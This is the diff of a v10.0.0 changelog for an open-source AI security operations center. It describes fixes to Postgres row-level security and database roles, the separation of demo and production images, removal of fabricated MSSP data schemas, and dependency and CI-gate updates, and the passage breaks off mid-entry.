Open-source AI Security Operations Center: alert fusion, LLM-agent triage, MITRE ATT&CK investigation, and a replayable decision ledger for every agent step. Self-hostable, runs with no API keys, MIT licensed. Ships an MCP server for Claude, Cursor and Continue.
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chore(release): v10.0.0 (#869)
Beenu Aroraf7485be5ebd0
diff --git a/CHANGELOG.md b/CHANGELOG.mdindex b4d35ed2f..ea749a2ae 100644--- a/CHANGELOG.md+++ b/CHANGELOG.md@@ -7,576 +7,242 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0## [Unreleased]-### Added--- **A gate that reads the one place a dead path could get in.** A comment is- the only prose no check in this tree opens: `check_repo_self_links.py`- reads markdown and matches `github.com` URLs, lychee resolves links, and- neither looks inside source files — which is where most cross-file- references in this repository actually live. That is how- `docker-compose.yml` came to name- `docs/architecture/decisions/0001-llm-gateway-in-core.md`, a path with no- directory behind it, and survive every gate. `scripts/check_comment_paths.py`- reads comments in fourteen languages plus Python docstrings and asserts- that every repository path they name exists.- The corpus was measured before the gate was written, because a naive- version would have been mostly noise: of **3,092** path-shaped strings in- non-markdown comments, most are MIME types, MCP method names- (`tools/call`), Splunk REST routes (`services/search/jobs`), container- images or URL routes. Three structural filters — a known file extension, a- first segment that names something at the top of this repository, and not- a URL / template / glob / gitignored artefact — cut that to **1,251**- claims about this tree, resolved against the repository root *and* each- ancestor of the referring file (a comment in `services/agents/tests/`- saying `tests/conftest.py` means the one beside it).- Extension-less directory references are **deliberately not checked** and- the gate says so in its own output: 286 resolve and 52 do not, and- hand-classifying the 52 put genuine rot at roughly one in five, which is- the precision at which a gate gets ignored.- Ten exceptions are recorded, each with a reason and each verified in both- directions — an entry whose path now resolves, or which no longer appears- in any comment, fails the build rather than sitting there.--### Fixed--- **A consumer that retried a permanent failure in silence, forever.** The- `graph_ws` broadcaster in `services/ingest` could not die the way the UEBA- consumer did — its loop `continue`s past an error — but it answered every- error the same way: a flat 50ms sleep with the error discarded. Against a- broker that was never coming back that is twenty reconnect attempts a- second behind a container reporting `running`, restarts 0 and `/health`- 200, with no line in any log and no counter anywhere. Not a silent death;- a permanent failure wearing the costume of a transient one.- Most of those errors never reached the loop at all. `kafka.NewReader`- falls back to a **silent logger** when `ErrorLogger` is nil, and with a- `GroupID` set the consumer group's dial, join and rebalance failures are- reported *only* through it — `ReadMessage` stays blocked — so the single- most likely permanent fault, an unreachable or misnamed broker, was- discarded inside the library. `ErrorLogger` is now wired.- Errors are classified into what the loop can do about them: **transient**- (retry, with exponential backoff capped at 30s instead of a flat 50ms),- **permanent** (the loop stops, because a loop over a fault no retry can- clear turns a misconfiguration into indefinite churn — the same reasoning- the UEBA consumer records), and **poison** (one undecodable envelope,- counted and skipped without backing off a healthy subscription). A fourth- state is a duration rather than a class: a `no such host` can be a startup- race for a few seconds and a variable nobody set for ever, so it is- reported as transient and then, after two minutes, as *not resolving* —- the point at which the operator's next move stops being "wait".- Permanence is decided by an enumerated set of protocol codes, not by- negating `kafka.Error.Temporary()`: `REBALANCE_IN_PROGRESS` is- non-retriable in the protocol's sense and happens on every deploy, so- deriving the set that way would have stopped the consumer on a routine- rebalance. A test walks the entire error table in both directions.-- **Readiness that reported on the process and not on the subscription.**- Ingest's `/readyz` now names every registered background subscription and- its state, in the healthy case too, so a 200 says what was checked rather- than only that nothing was wrong. The verdict stays keyed on the publish- path deliberately: unlike the Python services, consuming is not ingest's- job, and failing readiness for an opt-in WebSocket fan-out would pull the- pipeline's front door out of the load balancer to fix a broadcast. The- surface that depends on the subscription reports on it directly —- `/v1/graph_ws/stream` answers 503 with the reason instead of completing a- handshake onto a socket that will stay silent — and- `aisoc_graph_ws_source_attached` / `_errors_total` / `_not_resolving` are- the alertable signals.-- **Two scheduler loops that logged that a tick failed and never what.**- `retention_purge` and `hunt_scheduler` logged `err=%s` with- `type(exc).__name__` and nothing else: `err=ProgrammingError` every thirty- seconds says a tick failed, never why, and never whether waiting is the- right response. Both now report the sanitised message and escalate from- `warning` to `error` once the run of failures has outlived a transient- explanation.-- **Twenty-two dead paths in comments and docstrings**, found by the new- gate on its first run. Among them: cost provenance pointing at migration- `055` when the file is `063`; the Wazuh severity table pointing at- `apps/docs/connectors/` instead of `apps/docs/docs/connectors/`; eight- copies of the vendored `tenant_scope.py` pointing at a- `check_vendored_tenant_scope.py` that is spelled `sync_`; eleven files- pointing at a root-level `tests/test_security_defaults.py` that lives- under `services/api/`; and three separate pointers at CI checks that had- never been written, one of which `check_action_contract.py` already- documented as fictional in its own docstring.-- **A load generator that could tick forever and send nothing.**- `services/demo-producer` silently `continue`d when `http.NewRequestWithContext`- failed, which only happens for a malformed URL — the one error in that- loop no retry can clear. It now says so and stops.+## [10.0.0] — 2026-09-25++**Two ways for a control to be absent: not written, or written and not+reachable.** This release is mostly the second. Row-level security covered 92+tables and filtered nothing, because every service connected to Postgres as a+superuser. Fifty-eight routes across four services carried no authentication+at all. UEBA consumed events, reported healthy, and could not write a baseline+or an anomaly. AI triage was wired to a gateway that both of its resolvers had+been deliberately written to ignore. In each case the mechanism was present+and the path to it was not.++Read the BREAKING section before upgrading. **Every deployment must act on one+item**: services now connect as a DML-only `aisoc_app` role rather than as the+schema owner, which is what makes those 92 policies filter. The bundled+Postgres provisions it on a fresh volume; an existing volume or a managed+database does not.++Two published figures moved because they were measured rather than restated:+CORE is **11 services** — the LLM gateway is in it now, so a provider key+works with no profile change — and `full` is **21**, not the 30 previously+published. The quick start also ends differently: `make up` creates an+administrator and prints a generated password once, because the credential+pair the documentation used to publish was wrong in three independent ways and+nobody following the README could sign in.-### Fixed+### BREAKING-- **The wave-1 service-test job installed twelve packages with no version- bound, which is the outage that already happened, still loaded.** A CI job- pip-installing a hand-curated list named a bare, unbounded `sqlalchemy` and- passed for months only because a platform marker happened to pull- `greenlet`; when 2.1.0 deleted that clause, every import of- `sqlalchemy.ext.asyncio` began failing at collection. That one was bounded.- The other twelve in the same list were not, and the job's own comment said- so — *"Bounding the range is the second half: unbounded, any upstream- release lands here before anyone reads it."* `pydantic`,- `pydantic-settings`, `pytest`, `pytest-asyncio`, `structlog`, `redis`,- `aioredis`, `httpx`, `aiokafka`, `asyncpg`, `clickhouse-driver` and `pyyaml`- now carry the range the three services under test declare, so the job- installs what they ship rather than whatever PyPI is serving this morning.+- **The services no longer connect to Postgres as a superuser, so the 92+ row-level-security policies added below now actually filter.** The previous+ entry closed the coverage gap and measured, in the same breath, that none of+ it did anything: `docker-compose.yml`, the CI service containers, the Helm+ chart and the Terraform environment all ran every service as+ `POSTGRES_USER=aisoc`, which the postgres image creates as a **superuser**,+ and a superuser ignores policies *even under* `FORCE ROW LEVEL SECURITY` —+ FORCE binds the table owner, not a superuser. Sixty-one new policies bought+ nothing operationally.- Two things fell out of doing it, both pre-existing and both invisible while- the install was unbounded. `redis` was installed bare while- `services/fusion` declares `redis[hiredis]` — the same dropped-extra shape- as the `sqlalchemy` break, an install path quietly installing a smaller set- than ships. And the three manifests **could not be satisfied at once**:- `services/fusion` declared `httpx = "^0.26.0"` while `honeytokens` and- `purple-team` declare `>=0.27.0`. The unbounded install resolved 0.28.1, so- fusion was being tested on a version its own manifest forbade and shipping- 0.26.0 — tested and shipped were different software, which is the exact- thing `check_dependency_pins.py` exists to prevent. fusion moves to- `>=0.27,<0.29`, matching api / actions / mesh / osquery-tls / slack-bot /- teams-bot, and its lock re-resolves to 0.28.1 so the three now agree and the- job tests what fusion ships. All three suites pass on the bounded set- (fusion 308, honeytokens 66, purple-team 100, every coverage floor met).+ `061_runtime_app_role.sql` splits the credential in two. `aisoc` owns the+ schema and applies migrations; `aisoc_app` is what every service connects+ as, holding `USAGE` on `public`, `SELECT / INSERT / UPDATE / DELETE` on+ tables and views, `USAGE, SELECT` on sequences and `EXECUTE` on functions —+ no `CREATE`, no `TRUNCATE` (`002_rls.sql` had granted `ALL`, which let one+ statement delete every tenant's rows without a policy seeing a `WHERE`+ clause), and ownership of nothing. Measured on `postgres:16` with two alerts+ seeded one per tenant and the session bound to tenant A, reading `alerts`+ with **no tenant predicate at all**: the old role saw 2, the new role sees+ 1, and an insert for tenant B is refused by the policy.- Still unbounded and reported rather than silently fixed: `services/connectors`- and `services/threatintel` also declare `httpx = "^0.26.0"`, and neither is- in this job.+ Things this turned up along the way, each of which would have survived the+ role switch and quietly undone it:-### Changed+ - **Two views read around every policy underneath them.** A view executes as+ its *owner* unless declared `security_invoker`, and both views here are+ owned by the role that ran the chain. Bound to tenant A,+ `mssp_tenant_latest_metrics` returned 2 rows before and 1 after.+ - **`SET LOCAL row_security = off` stops being a no-op and becomes a+ crash.** For a role the policies apply to, Postgres refuses the query+ rather than ignoring the policy. The retention purge, the hunt scheduler's+ sweep and tenant deletion all used it; all three now rely on the+ `OR current_tenant_id() IS NULL` arm and call `assert_cross_tenant_session()`+ first, which raises if a tenant *is* bound — a sweep that sees one tenant+ and reports success is worse than one that fails.+ - **`CREATE TABLE IF NOT EXISTS` still needs `CREATE` on the schema when the+ table already exists**, because Postgres checks the ACL before the+ existence test. Two stores in `services/agents` opened their pool that way+ and swallowed the failure into `logger.debug`, so the agents service would+ have silently recorded no cost telemetry and no institutional memory at+ all. Both tables are already in the migration chain; the bootstrap now+ probes first and reports at `error` if it genuinely has to create one.-- **`mypy` moved to 2.3.1 across all ten declarations, and the baseline it- ratchets became reproducible outside CI.** The bump alone makes- `scripts/check_mypy_baseline.py` exit 1 on 35 mismatched `(tree, file, code)`- entries, so the re-record is the work — and a re-record is the moment a- ratchet can quietly grow, so every entry was triaged before being banked.+ Deployment surfaces updated: `docker-compose.yml`, the demo compose stack,+ `integration.yml`, the Helm chart's `values.yaml`, the Terraform environment+ (which now generates the runtime role's password rather than reusing the RDS+ master user) and `.env.example`. `infra/postgres/initdb/zz_runtime_role_password.sh`+ sets the credential on a fresh volume before the container reports healthy;+ `app.scripts.run_migrations` applies it on every run, which covers an+ upgrade in place. **Operators on a managed Postgres must act**: apply the+ chain as the owner with `AISOC_APP_DB_PASSWORD` set, then point+ `DATABASE_URL` at `aisoc_app` and `DATABASE_MIGRATION_URL` at the owner.+ `002_rls.sql` created `aisoc_app` with the literal password `changeme`; 061+ does not clear it (that would break an operator who had already set a real+ one), so rotate it if none of the automatic paths applies to you.- **Zero new findings.** All 35 are the same code in the same direction:- `import-untyped` went 38 → 3 and nothing appeared, nothing grew. The cause- is a behaviour change rather than a code improvement, and is recorded as- such: mypy 2 extends `ignore_missing_imports = true` to silence- `import-untyped`, which 1.x did not. Isolated on a two-line file — under- 1.20.2 the finding is reported with the option either way; under 2.3.1 it is- reported only with the option off. So the ten trees that set it lose the- "this third-party import carries no type information" signal, every one of- the 35 was `yaml`, and `packages/aisoc-cli` — strict, with no such option —- still reports its three. `enable_error_code = import-untyped` does not- bring it back; `ignore_missing_imports` wins. The alternative, dropping the- option, would surface `import-not-found` for every uninstalled dependency in- a deliberately dependency-free run, which is a statement about the runner- rather than the tree. Banked at 955, with the reason on the record.+ Two new gates, both with a self-test that runs before the scan and both+ failing over an empty or absent tree. `scripts/check_runtime_db_role.py`+ fails if a runtime DSN connects as the role that surface provisions as the+ database superuser — structurally, by reading `POSTGRES_USER` /+ `db_username` out of the tree rather than matching a name — and in+ `--dsn` mode reads `pg_roles` and `pg_class` directly, catching+ `rolsuper`, `rolbypassrls`, ownership, a view without `security_invoker`,+ and a role still accepting `changeme`. `scripts/check_rls_policy_shape.py`+ fails if a policy is written without the fail-open arm, replaying the chain+ in order so a definition a later migration repaired is not reported. Both+ run in `isolation.yml`; the live half runs in `integration.yml`.- **The baseline was only reproducible on a CI runner, which is not- reproducible.** Measured rather than assumed: the interpreter is not the- variable people assume — Python 3.13 against 3.11 moves exactly 2 findings- in 1 file (PEP 701 changed f-string sub-expression line attribution in 3.12,- splitting findings 3.11 reports once) — while installing eight project- dependencies moves 59. mypy reads type information out of installed- packages, so a contributor with a service virtualenv active got mismatches- in both directions and nothing saying the cause was their environment. A- second cause surfaced while measuring the first: a `.mypy_cache` written- under different conditions is reused by the next run, and the same tree- answered 990 cold against 988 warm.+ `tests/isolation/test_postgres_rls.py` now reads as `DATABASE_URL` — the+ role the deployment ships — instead of a `NOSUPERUSER NOBYPASSRLS` role it+ constructed for itself, so its 80-table two-tenant replay covers what ships.+ `test_superuser_bypasses_rls_which_is_why_the_probe_role_exists` is replaced+ by its inverse.- Both are now closed at the source. The gate passes `--no-site-packages`- (measured on `services/connectors`: 73 findings bare, 140 with eight- dependencies installed, 73 either way with the flag — and a no-op in CI's- own dependency-free environment, verified by re-recording under 1.20.2 and- getting the committed file back byte for byte) and `--no-incremental`. It- records the mypy version in an `(environment)` block and refuses to compare- across majors, because a major *moves* findings and every difference would- otherwise print as a file-level diff that describes the version. The- interpreter difference is reported as a note rather than a refusal, so a- contributor on 3.12 can still run the gate. Verified: the same 955 from a- bare interpreter and from one with the project's dependencies installed.+- **The four services that run their own alembic chain now migrate as the+ owner and serve as the runtime role, and three of them were not reached by+ the role switch at all.** `honeytokens`, `osquery-tls`, `purple-team` and+ `ueba` manage their own schema, and each applied it as whatever DSN the+ operator supplied — so their migration and runtime credentials were the same+ one, and pointing such a service at the owner turned off row-level security+ for the twelve tables those chains own with nothing objecting. Each+ `env.py` now reads `<SERVICE>_DATABASE_MIGRATION_URL`, then+ `DATABASE_MIGRATION_URL`, and only then falls back to the runtime DSN with a+ warning on stderr naming what will break.- `mypy` is now in `check_dependency_pins.py`'s `CRITICAL` set, so the ten- declarations have to move together the way `ruff`'s fourteen do. Nothing- enforced that before, which is how a single-path bump could be proposed at- all. One real bug was caught by the re-recorded baseline while this was- being written — a `used-before-def` introduced into the gate's own- self-test — and fixed rather than banked.+ Three things were found while wiring it, each measured rather than inferred:-- **`ruff` moved to the 0.16 line across all fourteen declarations, the tree- was reformatted under it, and the lint gate stopped ending at `services/`.**- The bump alone reds every open pull request, because `ruff format --check`- is a hard gate on the required `Python — Lint & Type-check` job and 0.16- formats differently from 0.4.10. So the migration is the reformat. Measured- under 0.16.9 (what the range resolves today, and byte-identical to 0.16.8 on- both format and lint): **218 files reformatted**, 862 insertions against- 1075 deletions, almost all of it collapsing calls that 0.4.10 wrapped and- 0.16 fits inside the 140-column limit. It is its own commit with no other- change in it.+ - **`DATABASE_URL` was inert on three of the four.** `docker-compose.yml`+ sets it on every service, but `honeytokens`, `purple-team` and+ `osquery-tls` declare `env_prefix` in their settings, so the name they+ read is `HONEYTOKEN_DATABASE_URL` and the compose entry did nothing: each+ fell back to a default naming the **owner**. Both spellings now resolve,+ unprefixed first, the convention `services/ueba` and `services/fusion`+ already used. Operator note: on a deployment that sets both to *different*+ databases, the unprefixed one now wins.+ - **The four chains shared one `alembic_version` table** — they share one+ database in the default deployment and number their revisions identically.+ Following `apps/docs/docs/quickstart.md` against `postgres:16`: after+ `ueba` reached `0002`, `honeytokens alembic upgrade head` ran **zero**+ migrations and `purple-team` failed applying its RLS revision to tables+ that had never been created, so two services had no tables and no policies+ and every command reported success. Each chain now keeps its own version+ table and adopts an existing deployment's recorded version on the next+ upgrade — only when that chain's own tables are already present, so it+ cannot claim a sibling's row.+ - **The runtime role had no grant on those tables.**+ `061_runtime_app_role.sql` grants over `ALL TABLES` as they stood and sets+ `ALTER DEFAULT PRIVILEGES` for the role that issued it; nothing orders the+ chains against it, and a deployment applying them under different owners+ gets neither. Each chain now grants `SELECT, INSERT, UPDATE, DELETE` on its+ own tables, guarded so it is a notice rather than a failure where the role+ does not exist.- All fourteen declarations now read `>=0.16.8,<0.17` — seven manifests- (`services/{api,fusion,osquery-tls}`, `packages/{aisoc-cli,aisoc-detections,- plugin-sdk-py,sdk-py}`), three workflows (`ci.yml`, `ai-sdk.yml`,- `python-detections.yml`), `.devcontainer/Dockerfile`, and the three- `poetry.lock` files that resolve it, now at 0.16.9.+ Verified live on `postgres:16` with all four chains applied and two tenants+ seeded: bound to one tenant the runtime role sees one row of two in+ `ueba_entity_baselines`, `honeytokens` and `osquery_node`; unbound it sees+ both, which is the fail-open arm the cross-tenant sweeps depend on; a+ cross-tenant insert is refused by the policy; `CREATE TABLE` is refused with+ `permission denied for schema public`; `ALTER TABLE … NO FORCE ROW LEVEL+ SECURITY` with `must be owner of table`; and `SET LOCAL row_security = off`+ raises rather than doing nothing. None of the four chains creates a view, so+ the `security_invoker` hazard does not arise there, and none of the four+ services issues DDL outside its chain.- The three lint findings 0.16 reports on `services/` are fixed rather than- suppressed: two `C420` dict comprehensions become `dict.fromkeys` (both- values are string literals, so the shared-value hazard the rule exists- around does not apply), and one `UP031` percent-format becomes an f-string- in a chunker test that counts characters — all three rewrites asserted- equal to the originals before the change was kept.+- **The published `aisoc-web:latest` image shipped demo mode baked on**, and+ it is the image `docker-compose.yml` pulls for `make up`. Next inlines+ `NEXT_PUBLIC_*` at build time, so there was no runtime escape: a+ self-hoster's console announced "Demo data resets daily at 00:00 UTC. All+ write actions are disabled." over their own real alerts, disabled every+ write control, and offered a "Self-host AiSOC" link inside an already+ self-hosted install. The only remedy was to rebuild the image.- **Scope.** The gate read `ruff check services/`, which left `scripts/` —- every CI gate in this repository, the code the rest of its claims are- verified by — linted by nothing at all. That is the same gap- `check_mypy_baseline.py` closed with its unmanaged scope, and it is closed- the same way here: lint now covers `services/ scripts/ tests/ tools/`, the- trees the repo-root `ruff.toml` governs that nothing else lints, and- `ruff format --check .` covers the whole repository because formatting has- no semantic content and `.` needs no edit when a tree is added. That- surfaced 17 real findings outside `services/`, each fixed at the source: two- `B007` loops switched to `.values()`, a `B904` re-raise in- `security_audit.py` now chains `from exc` so the original traceback- survives, two `E402` imports that genuinely follow a `sys.path` mutation- carry a reason next to the marker, and two over-length lines were wrapped.+ The demo is now its own build under its own tag. `latest`, `main` and+ `vX.Y.Z` are the product with demo mode off; `demo` and `vX.Y.Z-demo` carry+ the demo bundle, and `infra/compose/docker-compose.demo.yml` pulls those.+ Nothing has to choose between a working demo and a usable self-host image.- Two exclusions, both named rather than implied. `plans/` is excluded in- `ruff.toml`: it is the archived prototype subtree `codeql.yml` and- `check_mypy_baseline.py` already exclude and the project rules forbid- editing, and it holds 844 lint findings and ~280 unformatted files — they- are excluded because they cannot be fixed, which is not the same as being- clean. `E501` is ignored for `scripts/detection_specs.py` and- `scripts/detection_specs_part2.py`: both open their rule table with- `# fmt: off`, so the formatter is already opted out of that layout by a- deliberate decision, and all 199 long lines there are single dict or string- literals — 72 positive fixtures, 66 negative fixtures, 50 `match_when`- clauses, 11 descriptions. Two named data modules, not `scripts/`; exactly- one long line elsewhere under it needed wrapping.+ Demo credentials are also no longer compiled into a non-demo bundle at all.+ `apps/web/Dockerfile` defaulted the autologin address and password to real+ values, and `login/page.tsx` and `DemoAutoLogin.tsx` each declared them as+ module-level literals — gating the *render* on `isDemoMode()` hid the panel+ but left the strings in every chunk the project ships. All three now read+ them from the build environment, and only the demo build supplies them.- `packages/` and `plugins/` stay outside the lint gate on purpose and the- gap is a number rather than a shrug: 91 findings and 2 respectively. Two of- the five packages are already linted by their own workflows under their own- configs, and bringing the three published SDKs under this gate means- behaviour-touching fixes — `subprocess.run` check semantics, blind- `except Exception` handling, `zip(strict=)` — that belong in a change- reviewed as such rather than in a formatter migration.+- **Three MSSP response schemas describing fabricated data are removed:+ `MSSPKpiOverview`, `ManagedTenantRow`, `CrossTenantIncident`.** They were+ the shape of five hardcoded companies with invented alert counts, not the+ shape of anything the platform measured. `/mssp/overview`,+ `/mssp/tenants` and `/mssp/incidents` keep their paths and now return+ `PortfolioSummaryOut`, `PortfolioTenantOut` and `PortfolioAlertOut`,+ computed from real rows.-- **`sqlglot` moved to the 30 line across all eight declarations, and the- forward-compatibility matrix leg was rewritten so it can still reach past- the pin.** The bump itself was never the work: a single-path proposal moved- 1 of 8 declarations and left six workflows at `>=23,<27`, which- `scripts/check_sqlglot_pin.py` fails closed on — correctly, since that gate- exists because sqlglot 27 renamed the SELECT's FROM argument key and- silently stripped the tenant predicate, the table allowlist and the `url()`- exfiltration ban from every single-table query while reporting success. All- eight now read `>=30,<31` (`services/api/pyproject.toml` plus `ci.yml`,- `integration.yml` ×2, `isolation-live.yml`, `cross-tenant-rbac.yml`,- `check-openapi.yml`, `reproducible-builds.yml`), and- `services/api/poetry.lock` resolves 30.19.0 inside it.+ What moved, and why it could not be preserved:- One major wide rather than four. The previous range permitted 23–26 and- exactly one of those was ever exercised, so three majors were installable- and untested; 27, 28 and 29 are likewise unexercised, and a range states- what may be installed rather than what upstream has released.+ - `health_score` / `avg_health_score` are **gone**, not nulled. It was an+ undefined composite with no formula anywhere in the tree; keeping the+ field would promise a measurement that does not exist. (`MetricsOut` on+ the separate `/mssp/metrics` route still carries a `health_score` and is+ unchanged by this release.)+ - `avg_mttr_minutes` → `mttr_minutes`, measured from cases a tenant+ actually closed in the trailing 30 days, and **null** when it closed+ none. The old value was the literal `23.4`. Present on both the per-tenant+ row and the portfolio summary, where it averages only over tenants that+ closed something rather than counting a null as a zero.+ - `sla_breach_count` and `sla_breaches` → `sla_breached_cases`, counted+ from `cases.sla_breached`.+ - `connectors_online` / `connectors_degraded` / `connector_status` →+ `total` / `healthy` / `stale` / `error`, derived from each connector's+ `health_status` and `last_sync`. Nested under a `connectors` object on+ the per-tenant row; flat `connectors_*` fields on the summary.+ - `tenant_id` is now a real tenant UUID rather than a string like+ `"t-acme"`.+ - `assignee` is gone from the incident rows. It named invented analysts;+ an alert's real owner is `case_id`, which is now returned instead.+ - New: `synthetic_alerts`, so seeded demo rows are counted apart from a+ tenant's real posture instead of inflating it.- Measured before moving, on 64 adversarial cases written against the- documented policy rather than reusing the module's fixtures — DDL, DML,- admin verbs, multi-statement input, seven ClickHouse table functions- including ones hidden in subqueries and CTE bodies, non-allowlisted tables- reached through JOIN, subquery, UNION arm and CTE, and five forged- `tenant_id` predicates. 26.33.0 and 30.19.0 return the same disposition on- all 64 (23 rewritten, 33 `LakeSqlForbiddenError`, 8 `LakeSqlSyntaxError`)- and the rendered SQL of all 23 rewritten cases is byte-identical. Two cases- differ in wording only and both remain refusals: `DETACH TABLE` now reaches- the statement-kind check instead of failing to parse, and `KILL`'s class- moved to `sqlglot.expressions.ddl`, which the parse error quotes. The- in-tree suites pass 58/58 on each major.+ The routes also return `403` to a caller who belongs to no operator+ organisation, where they previously returned an empty list to anyone+ authenticated.- The forward leg is the part that needed a decision. It read `>=27,<31`,- which only reached past the pin while the pin sat below 27; there is no- sqlglot 31, so with the pin on the 30 line every way of naming a ceiling is- worse than leaving it off — `>=31` cannot be installed and reds the job- forever, `>=30,<31` duplicates the shipped leg and reports two greens for- one piece of evidence, and retargeting to `>=27,<30` tests majors below the- pin, which is regression coverage for versions nothing installs and leaves- nothing between the next major and production. The leg is now unbounded- above, so it resolves whatever is newest and arms itself the day a higher- major is published with no edit. Because that means it re-runs the shipped- version today, a `Forward coverage` step emits a warning annotation saying- so rather than letting a duplicate green pass for evidence, and- `check_sqlglot_pin.py` gained the structural half in both directions: the- forward leg must carry no upper bound and must not float below the shipped- floor, and the step's `SHIPPED_CEILING` must equal the shipped range's `<N`- bound so a stale copy cannot report the wrong verdict. Seven injected- violations in `--self-test`, which runs before the gate. What is- deliberately not asserted is that a higher major exists: upstream's release- schedule is not this repository's to require, and a gate red until sqlglot- ships 31 would be red for a reason no change here could fix.+ Nothing in `apps/web` consumes these three routes; it calls+ `/mssp/children`, which is unchanged.-- **Four root-workspace dependency bumps landed as one lockfile change.**- `cytoscape` 3.34.0 → 3.34.3, `lucide-react` 1.28.0 → 1.48.0,- `@modelcontextprotocol/sdk` 1.29.0 → 1.30.1 and `tsx` 4.23.1 → 4.23.15 all- resolve through the single root `pnpm-lock.yaml`, so merging them- separately makes each one rebase the next until they all report- `CONFLICTING`. Regenerated once from the four manifests together: 47- insertions against 56 deletions, versus 1,130 insertions across the four- individual proposals, because each of those re-churned the same peer keys.- The `esbuild` resolutions are byte-identical before and after — `0.25.12`- and the `vite>esbuild` / `tsup>esbuild` / `bundle-require>esbuild`- override's `0.28.1` — so the `tsx` bump does not reach Turbopack's bundler,- which is the reason those overrides are scoped to named parents rather than- applied workspace-wide.+- **Two `ActionType` members are removed: `add_ioc_to_blocklist` and+ `run_playbook`.** Neither had an executor. `POST /actions` accepted both and+ answered `No executor found for action type`, which reads as a broken+ deployment rather than a verb nobody built; it now rejects them at+ validation. A verb with no implementation path should leave the surface+ rather than sit on it dead.-- **Three more root-workspace bumps landed as one lockfile change.**- `@testing-library/user-event` 14.6.4 → 14.6.7, `autoprefixer` 10.5.2 →- 10.6.1 and `zustand` 5.0.14 → 5.0.15, regenerated once from the three- manifests together: 19 insertions against 22 deletions, versus 636- insertions across the three individual proposals. The only transitive- movement is `caniuse-lite` 1.0.30001803 → 1.0.30001810, which- `autoprefixer` carries as a data table. Verified on the merged result- rather than on the three green ticks, because none of these three has a CI- job that exercises what it changes beyond the shared web gates:- `pnpm install --frozen-lockfile`, `eslint .` (0 errors), `tsc --noEmit`,- `vitest run --coverage` (62.17% statements, gate green), `next build` and- `storybook build` all pass.+ Why neither could be preserved by implementing it:-- **Five more root-workspace bumps landed as one lockfile change.**- `@vitest/coverage-v8` 4.1.10 → 4.1.11, `axe-core` 4.11.4 → 4.13.0,- `react-hot-toast` 2.6.0 → 2.6.1, `framer-motion` 12.43.0 → 13.4.0 and- `zod` 4.4.3 → 4.6.5 (the last in `services/mcp`), regenerated once: 61- insertions against 84 deletions, versus 1,040 insertions across the five- individual proposals.- The `@vitest/coverage-v8` bump is the first pull request the new `vitest`- group produced, and it closes the exact-version peer drift that group was- added for — `pnpm install` stops reporting- `unmet peer @vitest/[email protected]: found 4.1.10`.- `framer-motion` is a major and what installs is **13.4.3**, not the 13.4.0- in the proposal's title, because `^13.4.0` resolves above it. Verified on- 13.4.3 rather than on the proposed number: `tsc --noEmit` passes, which is- the gate that would see a removed API, and this app's entire framer-motion- surface is `motion`, `AnimatePresence` and `useReducedMotion` across 37- import sites. v13 drops the optional `@emotion/is-prop-valid` peer that- v12 declared, and this workspace does not use emotion. 615 tests pass with- zero errors and coverage unchanged to the digit (62.17% / 57.71% / 54.77% /- 64%), `next build` generates all 104 static pages, and `storybook build`- succeeds.+ - `add_ioc_to_blocklist` was a second name for `block_ioc`, which has a+ Defender arm, a capability contract, a registered adapter and a place in+ the vocabulary. Two names for one verb means half the callers reach the+ dead one. Use `block_ioc`.+ - `run_playbook` is the wrong shape for this registry rather than a missing+ feature. Playbook execution lives in `services/agents` and always has, and+ the contract in this service belongs to the *verb* — "run an arbitrary+ bundle of verbs" has no verb-level impact, reversal or verification probe+ to declare. Approving it once would execute whatever steps it contained+ without each step meeting its own contract, which is precisely what the+ per-capability contract exists to prevent. Playbooks already dispatch step+ by step through this service, so every step is graded on the way past.-### Fixed--- **Dependabot proposed Expo SDK 57 packages for an SDK 54 app, from an entry- that was never meant to see them.** `pnpm-workspace.yaml` excludes- `apps/mobile` with a `!apps/mobile` negation and pnpm honours it — the root- lockfile has no `apps/mobile` importer. Dependabot's manifest scan does- not: it expands `apps/*`, finds `apps/mobile/package.json` and proposes- updates for it from the root `/` entry, where none of the Expo holds- written into the dedicated `/apps/mobile` entry apply. The result was- `expo-constants 18.0.14 -> 57.0.19` — a release-train version, not a- package version — carrying no lockfile change at all, since from the root- entry's point of view the lockfile is the root one and the package is not- in it. `pnpm install` resolves it to `expo-router 6.0.24 unmet peer- expo-constants@^18.0.13`, while `tsc --noEmit` stays green, so the mobile- job would have passed. Fixed with `exclude-paths: ["apps/mobile/**"]` on- the root entry, which is version-updates-only and so leaves that- directory's security alerts with the entry that owns them.--- **The `services/realtime` Dependabot entry let the eslint family arrive one- package at a time.** `@eslint/[email protected]` declares- `peerDependencies: { eslint: "^10.0.0" }`, so bumping it alone against this- service's `eslint@^9` installs a tree `npm ls` reports as `invalid` in nine- places — and nothing else notices: `npm ci`, `tsc`, `eslint src test` and- the test run are all green on it, and the effective rule set grows by three- rules rather than shrinking. Unlike the root workspace this service does- not use `eslint-plugin-react`, and `[email protected]` already- accepts `eslint@^10`, so the family is grouped rather than held: it can- move whenever all of it arrives in one reviewable pull request.--- **The root entry's holds are written per dependency name, so a breaking- major of anything not already on the list still arrives as an ordinary- weekly bump.** `vitest` 4.1.11 → 5.0.1 was the demonstration. Every- `ignore` in that entry names a specific package someone had already been- burned by — `eslint`, `typescript`, `storybook`, `@storybook/*` — and- nothing holds majors as a class, so "stop proposing breaking majors"- described four names rather than a rule. Measured on the proposal: all 59- test files and all 615 tests passed, then the run failed with 59 unhandled- rejections reading `TypeError: Expected string coverage payload, received- object` from `V8CoverageProvider.onAfterSuiteRun`, and a coverage report of- `All files | 0 | 0 | 0 | 0`. vitest 5 changed the V8 coverage payload- shape and `@vitest/coverage-v8` stayed on 4.1.10, because its own manifest- range was still satisfied and it peer-requires `vitest` at an *exact*- version rather than a range. Separately, the root `pnpm.overrides` pins- `@vitest/mocker` to `>=4.1.11 <5` while `[email protected]` depends on- `@vitest/[email protected]`, so the override wins silently and the proposal's- lockfile carries a vitest 5 runtime with a vitest 4 mocker. Held at the- major for `vitest` and `@vitest/*`, and grouped within the major so the- exact-version peer pair stops drifting — `pnpm install` on the current- lockfile already reports `unmet peer @vitest/[email protected]: found- 4.1.10`, which is survivable inside a major and is why nobody had noticed.--- **`update-types: ["version-update:semver-major"]` cannot hold a 0.x- dependency, so the Storybook hold covered every member of the family- except the one that needed it.** For a pre-1.0 package the breaking change- arrives in the minor slot, and `@storybook/test-runner` is the only- pre-1.0 member: 0.23.0 declares- `peerDependencies: { storybook: "^0.0.0-0 || ^8.2.0 || ^9.0.0" }` and- 0.24.5 declares `"^0.0.0-0 || ^10.0.0 || … || ^11.0.0-0"`. Its version line- is independent of 